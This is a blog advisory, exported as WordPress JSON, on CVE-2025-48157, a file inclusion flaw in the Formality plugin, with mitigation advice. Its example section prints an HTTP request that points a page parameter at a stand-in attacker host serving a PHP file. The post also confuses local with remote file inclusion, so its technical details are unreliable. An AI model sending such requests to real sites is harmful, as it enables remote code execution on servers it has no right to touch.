{"id":71661,"date":"2025-09-06T01:58:31","date_gmt":"2025-09-06T01:58:31","guid":{"rendered":""},"modified":"2025-10-02T00:14:28","modified_gmt":"2025-10-02T06:14:28","slug":"cve-2025-48157-php-local-file-inclusion-vulnerability-in-michele-giorgi-formality","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48157-php-local-file-inclusion-vulnerability-in-michele-giorgi-formality\/","title":{"rendered":"<strong>CVE-2025-48157: PHP Local File Inclusion Vulnerability in Michele Giorgi Formality<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A serious security vulnerability, identified as CVE-2025-48157, has recently been discovered affecting the software Formality by Michele Giorgi. The vulnerability is due to an improper control of filename for include\/require statement in the PHP program, which in turn allows a PHP Local File Inclusion. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79266\">vulnerability could result in a potential system compromise or data<\/a> leakage, posing a significant risk to the security and integrity of user data.<br \/>\nFormality versions up to and including 1.5.9 are <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30403-heap-buffer-overflow-vulnerability-in-mvfst-impacts-quic-sessions\/\"  data-wpil-monitor-id=\"82322\">impacted by this vulnerability<\/a>. It is essential for organizations using this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6573-critical-kernel-software-vulnerability-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"80163\">software to understand the potential<\/a> risks, the manner in which the exploit works, and the necessary mitigation steps to protect their systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48157<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79600\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-431004554\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Formality by Michele Giorgi | Up to and including 1.5.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50870-incorrect-access-control-vulnerability-in-institute-of-current-students-1-0\/\"  data-wpil-monitor-id=\"79312\">vulnerability stems from the PHP program&#8217;s improper control<\/a> of filename for include\/require statement. With this flaw, an attacker can manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84651\">filename that the PHP<\/a> include() and require() functions are calling. As a result, the attacker can trick the application into <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54135-critical-remote-code-execution-vulnerability-in-cursor-code-editor\/\"  data-wpil-monitor-id=\"79573\">executing a PHP file from a remote<\/a> server, hence the term &#8220;PHP Remote File Inclusion. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79730\">potentially lead<\/a> to unauthorized access, data leakage, or even complete system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3379730354\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how the vulnerability might be exploited is shown below. The attacker sends a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52797-critical-cross-site-request-forgery-csrf-vulnerability-in-josepsitjar-storymap\/\"  data-wpil-monitor-id=\"79368\">request to the vulnerable<\/a> endpoint, which causes the application to include a malicious PHP file from a remote server.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attackersite.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58280-object-heap-address-exposure-vulnerability-in-ark-ets\/\"  data-wpil-monitor-id=\"87249\">address this vulnerability<\/a> is to apply the vendor patch. Michele Giorgi has released updates that rectify this issue in the Formality software. Users are strongly advised to update their software to the latest version.<br \/>\nHowever, if updating is not immediately possible, usage of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can detect and block <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81203\">attempts to exploit this vulnerability<\/a>.<br \/>\nIn the long term, it is recommended to follow best practices for secure coding, such as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80466\">validating all inputs and not allowing<\/a> user-supplied input to influence file include paths directly.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A serious security vulnerability, identified as CVE-2025-48157, has recently been discovered affecting the software Formality by Michele Giorgi. The vulnerability is due to an improper control of filename for include\/require statement in the PHP program, which in turn allows a PHP Local File Inclusion. This vulnerability could result in a potential system compromise or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71661","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71661","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71661"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71661\/revisions"}],"predecessor-version":[{"id":80092,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71661\/revisions\/80092"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71661"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71661"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71661"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71661"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71661"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71661"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71661"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71661"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71661"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}